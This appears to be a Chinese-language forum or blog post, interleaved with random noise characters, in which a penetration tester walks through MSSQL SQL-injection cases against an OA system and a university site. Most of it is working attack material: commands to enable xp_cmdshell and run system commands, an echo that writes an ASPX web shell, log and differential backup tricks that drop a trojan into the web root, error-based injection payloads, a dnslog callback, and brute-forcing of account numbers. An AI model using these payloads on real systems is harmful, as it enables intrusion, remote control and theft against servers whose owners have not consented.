|
, O) t5 m3 t% a8 \- v! h' w6 M 上次写了一篇文关于SQL注入的文章,居然有人说SQL注入过时了!!!
1 v9 r+ l* d5 p8 b+ S9 {2 U 前言:本次用4个有趣的实战案例来分别讲:狠–常见getshell快–快速报错注入准–字符长度100限制下注入绕–绕福某大学安全狗虽然只有4个实战案例,但真的挺实用、通用哦,当然此次都是站在前辈肩膀上实践总结的可能还不够全,如有分析不足的地方望各位大佬指正! $ N1 U c4 ^4 b
狠–常见getshell:实战一:这是一次挖到一个小OA系统的通用管理员弱口令,后台可以执行sql语句并且是sa权限,这运气没谁了哈哈但可以去edu刷分的大部分目标xp_cmdshell却废了.只能恰个弱口令…
% _. F# [/ u, Y2 j 先说可以xp_cmdshell部分:xp_cmdshell写shell技巧:条件:sa权限,常见问题:xp_cmdshell存储过程在 SQL Server 2005以后默认关闭,需要手动开启
% ^5 F8 d2 d1 D 开启方法#开启方法
o/ ~ S" J. F1 ?. \ execute(sp_configure "show advanced options",1) #将该选项的值设置为1
$ [) J) ^: W. c6 ^" x; I. B6 @ execute(reconfigure) : Q+ ?8 i% {$ k& e
#保存设置
, Y9 r; I' I \ execute(sp_configure "xp_cmdshell", 1) #将xp_cmdshell的值设置为19 S- |: I- g) Z6 G e# f
execute(reconfigure)
9 p" r$ W4 S* g8 G$ w1 T1 e #保存设置) B/ J5 I: w, s; u
execute(sp_configure) #查看配置
, ]2 X6 e' h: K execute(xp_cmdshell "whoami") 6 J2 V3 e$ i0 F+ a8 P7 q
#执行系统命令
R! g0 r5 a& S% M/ [; l! p 或者
0 p$ L" H0 @7 U. }3 Z$ N% a ~* ] exec sp_configure show advanced options,1;
! I* ~0 O& |2 S0 ?2 a reconfigure;
$ C( Q( X% u: S1 ~ exec sp_configure xp_cmdshell,1;
, P- q+ @) {! k reconfigure;' @; j+ _: ]* V+ x" a! P; M; y! e4 X
/ s( W5 U- I) Q7 b, w- S, H
exec sp_configure;
: O" {! {! I- d9 Q" y exec xp_cmdshell whoami;% Y' X; a7 r# O; u, h
exec master ..xp_cmdshell "ping dnslog"上面执行开启命令后,执行一下 whoami ,system 权限,直接起飞!
2 [, O" m4 @* _9 _( ]) G5 v 写shell技巧:先找网站根路径:exec xp_cmdshell where /r d:\ *.aspx;# \9 y- ?& f0 i& {- E& @3 g
直接写入aspx文件同目录却访问不了,麻了!问了一下同事,他说:估计做了和springboot类似的路由映射,但静态文的目录可能不会走路由. 访问路径如下
% X: C% B# J: B 故再找根路径下绝对静态可解析路径:exec xp_cmdshell where /r D:\OA *.jpg;5 g x* y7 _8 ], x
; j8 z. L; a, j% p/ J
写shell,这里也需要注意一点,dos对尖括号<>会报错,所以需要用^转义一下,或者echo"一句话" > hack.aspx 用双引号echo ^<^%@ Page Language="Jscript" & i. j3 V, b! b! M1 @
%^>^^ >d:\xx\xx.aspx
5 a; x2 H0 Z# U1 c 然后倚天大剑(蚁剑)连接http://x.x.x.x/login/login/xx.aspx
4 \3 w6 k, o3 e6 s& f# i2 L3 d 即可.其它gethell大全:剩下不可以xp_cmdshell的,但其它大多getshell方法,都没法用这些方法前提条件都是:SQL Server 2008不可用,SQL Server 2000可用因为我这版本是SQL Server 2008不可用,吐了!!于是只好备份getshell 0 W/ K4 g9 v* d0 e' \0 S A
备份getshell 至少DBO权限)log备份(推荐):优势:1、重复性好,多次备份的成功率高2、相对于差异备份而言,shell的体积较小利用条件:1、前提得知绝对路径,并且可写2、站库不分离3、数据库必须被备份过一次 ( }# x" m) W: s! l" p4 k
;alterdatabase 库名 setRECOVERYFULL--
- `5 w( D- L! W5 f# }/ M1 ? ;createtable 数据库名..表名(a image)-- //建表/ _6 J: B; g- s7 l5 w# k
;insertinto 数据库名..表名(a) 2 y9 p7 D! J, f, O$ t
values (0x一句话木马)-- //插入一句话木马到表中,注意16进制4 A+ `! b- r, y& U% e4 o
! U1 R- w1 [) j: j9 t' D
;backupdatabase 数据库名 to disk = c:\www\panda.bak-- //先手动给数据库备份一遍 * X4 j) u# ?4 z* R3 U3 h
+ ~/ ~. f3 Y0 i8 ?& |: k
! I2 {" r! m' z; D6 f+ m* C
;backuplog 数据库名 to disk = c:\www\panda.aspwith init-- //利用log备份到web路径getshell差异备份的条件:1、前提知道绝对路径,路径可写。 : G- E2 [0 o: O" m* W. W! ?
2、HTTP 500错误不是自定义3、WEB和数据在一块还有的就是数据库中不能存在%号之类的,不然也是不成功的4、数据量不能太大;backupdatabase 库名 to disk = c:\bak.bak。
5 x0 o- B7 H# K6 D) j ;-- //先手动备份一次* k6 B6 e& R) G: ]3 e$ j+ I; ?
;createtable 数据库名..表名(a image)-- //建立表,加字段, a: d7 R- f; F" n+ Z7 }
;insertinto 数据库名..表名(a) values (0x一句话木马)
/ N9 \( b0 K% Z( A0 {9 F -- //插入一句话木马到表中,注意16进制7 z# c) p* K& R+ e/ G) j, j
;backupdatabase 库名 to disk = c:\shell.aspwith differential , format ;-- //进行差异备份 : O9 U' q+ V5 t- v: V
小结:备份getshell这一般对php和asp有用,注意asp备份生成的文件经常有没有闭合的问题,但aspx我暂时没找到成功例子我这是aspx的2种备份都试了,但因为备份后会插入多个shell如下 ) u K; y `% B# M
导致:出现多次,报错:只能有一个page指令 试了闭合和其它方法不行
' X4 {# C! B' r 快–快速报错注入:实战二:mssql报错注入很方便,但柯大佬也没完善总结,我试了几种方法,这里快速报错最快,且在之后的手工注入很实用:
$ D7 m: b n/ o; r3 h* J3 g: z/ u 注册一个账号但要审核,如上图消息里得到账号规律,对后4位数爆破,成功 00xxxxx 123456然后登录后台,在某处发现sql注入:Users/xx.ashx?ID=00) and 1=1 --+ //闭合成功 . z% c( x5 [5 v% _- Y" B
6 m. h( C! o) p7 E' q' o0 W% s
) and 1=convert(int,user_name()) --+ #查当前数据库用户,结果不是sa
3 m! G) z6 R# ^$ K 1)/**/;/**/exec/**/master ..xp_cmdshell /**/"ping xx.dnslog.cn" 9 y0 y o5 g6 A
--#不死心,执行一下cmdshell  1 @1 ^4 q2 | c2 z2 Q' g
我是一名安全渗透测试工程师,热爱安全行业,用心做安全,在工作的同时学习知识,另外,我积攒了一些网络安全的学习视频和资料,需要的可以下载学习关注我,私信回复“资料”免费获取网络安全视频、渗透测试、工具包、应急响应、web安全等架构资料。
. t j& S m' r/ L3 e( G8 z
% z: K. l$ s1 E |8 H
/ Y* ~7 e8 q% P3 [
% i9 `6 p4 h" q) V
% U* u# D5 [% T# w4 z |